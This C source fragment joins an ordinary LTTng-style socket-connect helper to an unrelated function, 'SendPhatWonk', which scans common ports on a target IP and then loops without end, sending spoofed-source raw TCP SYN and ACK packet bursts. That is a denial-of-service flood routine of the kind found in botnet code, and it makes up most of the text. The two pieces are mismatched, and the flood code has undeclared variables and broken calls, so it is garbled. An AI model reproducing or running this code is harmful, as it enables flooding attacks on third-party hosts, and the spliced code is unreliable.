/*
* Connect PF_INET socket.
*/
LTTNG_HIDDEN
int lttcomm_connect_inet_sock(struct lttcomm_sock *sock)
{
int ret, closeret;
if (lttcomm_get_network_timeout()) {
ret = connect_with_timeout(sock);
} else {
ret = connect_no_timeout(sock);
}
if (ret < 0) {
PERROR("connect");
goto error_connect;
}
return ret;
error_connect:
closeret = close(sock->fd);
if (closeret) {
PERROR("close inet");
}
return ret;
}
char* SendPhatWonk(unsigned long TargetIP, unsigned int len, int delay)
{
BOOL flag=TRUE;
unsigned long lTimerCount=0;
struct timespec ts;
int i=0;
struct sockaddr_in addr;
int scansock=0;
sock=WSASocket(AF_INET,SOCK_RAW,IPPROTO_RAW,NULL,0,WSA_FLAG_OVERLAPPED);
fsetsockopt(sock, IPPROTO_IP, IP_HDRINCL, (char*)&flag, sizeof(flag));
srand(GetTickCount());
unsigned int port[28] = { 1025,21,22,23,25,53,80,81,88,110,113,119,135,
137,139,143,443,445,1024,1433,1500,
1720,3306,3389,5000,6667,8000,8080 };
unsigned int openport[28] = {0,0,0};
static char hitports[1024] = "";
int hitport=0, lastport=0;
char tmpMess[]="";
struct timeval working_timeout;
working_timeout.tv_sec = 3;
working_timeout.tv_usec = 3000;
for (i=0;i<28;i++)
{
addr.sin_family = AF_INET;
addr.sin_addr.s_addr = TargetIP;
addr.sin_port = fhtons(port[i]);
scansock = fsocket(AF_INET,SOCK_STREAM,0);
int result = connect_no_timeout(scansock,(struct sockaddr *)&addr,sizeof(struct sockaddr),&working_timeout);
fclosesocket(scansock);
if(result == 0)
{
openport[i] = port[i];
}
}
sprintf(hitports, " ");
lTimerCount=GetTickCount();
for (i=0;i<28;i++)
{
if ((GetTickCount()-lTimerCount)/1000>len) break;
if (openport[i] != 0)
{
hitport = openport[i];
//hitports.Format("%s%d ",hitports.CStr(),hitport);
sprintf(hitports, "%s%d ", hitports, hitport);
}
else
{
hitport = fhtons (brandom (0, 65535)); // no open ports
}
}
for (;;)
{
memset(&packet, 0, sizeof(packet));
ts.tv_sec = 0;
ts.tv_nsec = 10;
packet.ip.ihl = 5;
packet.ip.ver = 4;
packet.ip.pro = IPPROTO_TCP;
packet.ip.tos = 0x08;
packet.ip.id = fhtons (brandom (1024, 65535));
packet.ip.tl = fhtons(sizeof(packet));
packet.ip.off = 0;
packet.ip.ttl = 255;
if (!spoofing)
packet.ip.src = spoofip(TargetIP);
else
packet.ip.src = finet_addr(spoof);
packet.ip.dst = TargetIP;
packet.tcp.flg = 0;
packet.tcp.win = fhtons(16384);
packet.tcp.seq = fhtonl (brandom (0, 65535) + (brandom (0, 65535) << 8));
packet.tcp.ack = 0;
packet.tcp.off = 5;
packet.tcp.urp = 0;
packet.tcp.dst = hitport;
cksum.pseudo.daddr = TargetIP;
cksum.pseudo.mbz = 0;
cksum.pseudo.ptcl = IPPROTO_TCP;
cksum.pseudo.tcpl = fhtons(sizeof(struct xtcphdr));
s_in.sin_family = AF_INET;
s_in.sin_addr.s_addr = TargetIP;
s_in.sin_port = packet.tcp.dst;
for(i=0;i<1023;++i) {
/*
send 1 syn packet + 1023 ACK packets.
*/
if(i==0) {
packet.tcp.src = fhtons (brandom (0, 65535));
cksum.pseudo.saddr = packet.ip.src;
packet.tcp.flg = SYN;
packet.tcp.ack = 0;
}
else {
packet.tcp.flg = ACK;
packet.tcp.ack = fhtons (brandom (0, 65535));
}
++packet.ip.id;
++packet.tcp.seq;
s_in.sin_port = packet.tcp.dst;
packet.ip.sum = 0;
packet.tcp.sum = 0;
cksum.tcp = packet.tcp;
packet.ip.sum = checksum((unsigned short *)&packet.ip, 20);
packet.tcp.sum = checksum((unsigned short *)&cksum, sizeof(cksum));
fsendto(sock, (const char *)&packet, sizeof(packet), 0, (struct sockaddr *)&s_in, sizeof(s_in));
}
if((GetTickCount()-lTimerCount)/1000>len) break;
Sleep(delay);
}
return hitports;
}